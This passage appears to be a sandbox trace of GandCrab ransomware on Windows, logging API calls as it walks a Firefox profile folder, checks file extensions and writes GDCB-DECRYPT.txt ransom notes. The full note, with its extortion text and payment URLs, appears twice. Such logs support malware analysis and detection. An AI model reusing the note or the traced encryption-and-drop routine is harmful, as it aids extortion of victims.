[0055.391] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.391] lstrcmpW (lpString1="datareporting", lpString2=".") returned 1 [0055.391] lstrcmpW (lpString1="datareporting", lpString2="..") returned 1 [0055.391] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="datareporting" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting" [0055.391] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\" [0055.391] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.391] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.391] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\") returned 94 [0055.391] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*" [0055.391] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8330 [0055.392] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.392] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.392] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.392] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.392] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.392] lstrcmpW (lpString1="archived", lpString2=".") returned 1 [0055.392] lstrcmpW (lpString1="archived", lpString2="..") returned 1 [0055.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="archived" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived" [0055.392] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived") returned 102 [0055.393] lstrcmpW (lpString1=".default\\datareporting\\archived", lpString2=".sql") returned -1 [0055.393] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.393] lstrcmpW (lpString1="session-state.json", lpString2=".") returned 1 [0055.393] lstrcmpW (lpString1="session-state.json", lpString2="..") returned 1 [0055.393] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="session-state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" [0055.393] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112 [0055.393] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.393] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.393] lstrcmpW (lpString1="state.json", lpString2=".") returned 1 [0055.393] lstrcmpW (lpString1="state.json", lpString2="..") returned 1 [0055.393] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" [0055.393] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104 [0055.393] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.393] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0055.393] FindClose (in: hFindFile=0x5b8330 | out: hFindFile=0x5b8330) returned 1 [0055.393] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.393] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\\\GDCB-DECRYPT.txt") returned 111 [0055.393] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.395] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.395] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0055.396] CloseHandle (hObject=0x504) returned 1 [0055.396] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.396] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\") returned 94 [0055.396] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*" [0055.396] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8330 [0055.397] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.397] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.397] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.397] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.397] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.397] lstrcmpW (lpString1="archived", lpString2=".") returned 1 [0055.397] lstrcmpW (lpString1="archived", lpString2="..") returned 1 [0055.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="archived" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived" [0055.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\" [0055.397] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.397] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.397] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.397] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.397] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.397] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.397] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\") returned 103 [0055.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*" [0055.397] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b83f0 [0055.398] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.398] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.398] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.398] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.398] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.398] lstrcmpW (lpString1="2017-05", lpString2=".") returned 1 [0055.398] lstrcmpW (lpString1="2017-05", lpString2="..") returned 1 [0055.398] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="2017-05" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05" [0055.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05") returned 110 [0055.398] lstrcmpW (lpString1=".default\\datareporting\\archived\\2017-05", lpString2=".sql") returned -1 [0055.398] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0055.398] FindClose (in: hFindFile=0x5b83f0 | out: hFindFile=0x5b83f0) returned 1 [0055.398] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.398] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\\\GDCB-DECRYPT.txt") returned 120 [0055.398] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.399] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.399] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0055.399] CloseHandle (hObject=0x508) returned 1 [0055.399] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\") returned 103 [0055.400] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*" [0055.400] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b83f0 [0055.400] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.400] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.400] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.400] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.400] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.400] lstrcmpW (lpString1="2017-05", lpString2=".") returned 1 [0055.400] lstrcmpW (lpString1="2017-05", lpString2="..") returned 1 [0055.400] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="2017-05" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05" [0055.400] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\" [0055.400] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.400] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.400] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.400] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.400] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.400] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\") returned 111 [0055.400] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*" [0055.400] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5b84b0 [0055.402] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW 